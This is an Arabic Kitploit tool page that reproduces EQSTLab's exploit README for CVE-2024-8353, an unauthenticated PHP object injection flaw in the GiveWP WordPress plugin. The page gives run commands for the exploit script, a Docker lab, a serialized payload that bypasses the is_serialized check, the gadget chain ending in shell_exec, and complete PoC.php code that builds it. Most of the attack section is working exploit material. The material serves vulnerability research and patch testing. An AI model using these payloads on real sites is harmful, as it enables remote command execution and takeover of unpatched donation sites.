Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-8353 — استغلال ثغرة PHP Object Injection في GiveWP | Kitploit
أدوات/GitHubGitHub/eqstlab/cve-2024-8353
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

استغلال ثغرة PHP Object Injection في GiveWP

عرض المستودع
122منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

هذا المنشور هو مقال بحثي نشرته EQSTLab. شكرًا لـ cuokon، الذي اكتشف هذه الثغرة الأمنية.

مقدمة

تحليل إضافي لـ CVE-2024-5932 EQST Insight R&T (ملف PDF).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 حذف الملفات التعسفي و PoC لتنفيذ الأوامر عن بُعد ★

الوصف

CVE-2024-8353: ثغرة حقن كائنات PHP في GiveWP

الوصف: إضافة givewp – إضافة التبرعات ومنصة جمع التبرعات لـ WordPress – معرضة لثغرة حقن كائنات PHP في جميع الإصدارات حتى 3.16.1 شاملة، عبر إلغاء تسلسل الإدخال غير الموثوق من خلال عدة معاملات مثل give_title و card_address. وهذا يسمح للمهاجمين غير المصادقين بحقن كائن PHP. وجود سلسلة استغلال إضافية يسمح للمهاجمين بحذف ملفات تعسفية وتحقيق تنفيذ أوامر عن بُعد. هذه هي نفس الثغرة بشكل أساسي مثل CVE-2024-5932، ولكن تم اكتشاف أن وجود stripslashes_deep على user_info يسمح بتجاوز التحقق من is_serialized. تم إصلاح هذه المشكلة في الغالب في الإصدار 3.16.1، ولكن تمت إضافة تعزيزات إضافية في الإصدار 3.16.2.

كيفية الاستخدام

⚠️ عند استخدام PoC، يمكنك استخدام نفس الأمر مرة واحدة فقط لأن “give_title” يتم تخزينه في قاعدة البيانات والتحقق من التكرارات. في هذه الحالة، يمكنك استخدام بعض الحيل في Linux، خاصة علامات الاقتباس. على سبيل المثال، إذا كنت تستخدم “echo”، يمكنك إعادة استخدامه عن طريق كتابة “e‘’cho”.

استنساخ المستودع

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

تثبيت الحزم

root@kitploit:~
pip install -r requirements.txt

الأمر

root@kitploit:~
# تنفيذ أوامر عن بُعد
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

مثال

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

المخرجات

CVE-2024-8353.py alt text alt text

النتيجة

alt text

البيئة القابلة للاستغلال

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. ثم قم بتنزيل إضافة GiveWP القابلة للاستغلال:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. قم بفك ضغط ملف zip الخاص بإضافة GiveWP وانسخ الملف بأكمله إلى المجلد “/var/www/html/wp-content/plugins”.

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. قم بتفعيل إضافة GiveWP

alt text

5. أضف منشورًا جديدًا باستخدام إضافة GiveWP وانسخ رابط المنشور

alt text

6. تحقق من الرابط القابل للاستغلال

alt text

التصحيح باستخدام PHPSTORM

يمكنك تصحيح GiveWP باستخدام PHPSTORM.

1. قم بتنزيل xdebug في WordPress الخاص بك (Docker):

root@kitploit:~
pecl install xdebug

2. ثم قم بإعداد ملف php.ini الخاص بـ WordPress كما يلي (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..وبعد ذلك يمكنك تصحيح WordPress الخاص بك.

3. قم بإعداد PHPSTORM كما يلي (محليًا):

alt text alt text

4. مثال PHPSTORM (مثل حذف ملف تعسفي لـ TCPDF)

alt text

التحليل

النقطة القابلة للاستغلال (give/includes/process-donation.php)

في الأساس، التسلسل هو نفسه كما في CVE-2024-5932، مع الاختلاف أن منطق “is_serialized” تمت إضافته أيضًا إلى المعامل “give_title”. تحدد الطريقة أنه إذا لم تكن هناك إشارة :(نقطتان) في الفهرس 1، فإن البيانات ليست متسلسلة.

alt text

بعد طريقة “is_serialized”، تقوم دالة “stripslashes_deep” بإزالة الشرطة المائلة للخلف. لذلك، تتم إزالة الشرطة المائلة للخلف الرائدة () ويتم تمرير البيانات المتسلسلة.

alt text

الحمولة لتجاوز التحقق

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

سلسلة استغلال لتحقيق تنفيذ الأوامر

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (إرجاع سلسلة الأمر)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

سيناريو الهجوم

تنفيذ الأوامر عبر سلسلة الاستغلال

تسمح سلسلة الاستغلال بتنفيذ الأوامر عن بُعد. alt text

الرابط: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

إخلاء المسؤولية

هذا المستودع ليس مخصصًا لاستغلال ثغرة حقن الكائنات لـ CVE-2024-8353. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.

EQST Insight

ننشر تحليلات CVE والبرامج الضارة مرة واحدة شهريًا. إذا كنت مهتمًا، يرجى متابعة الروابط أدناه للاطلاع على منشوراتنا. https://www.skshieldus.com/eng/business/insight.do

تنزيل الأداة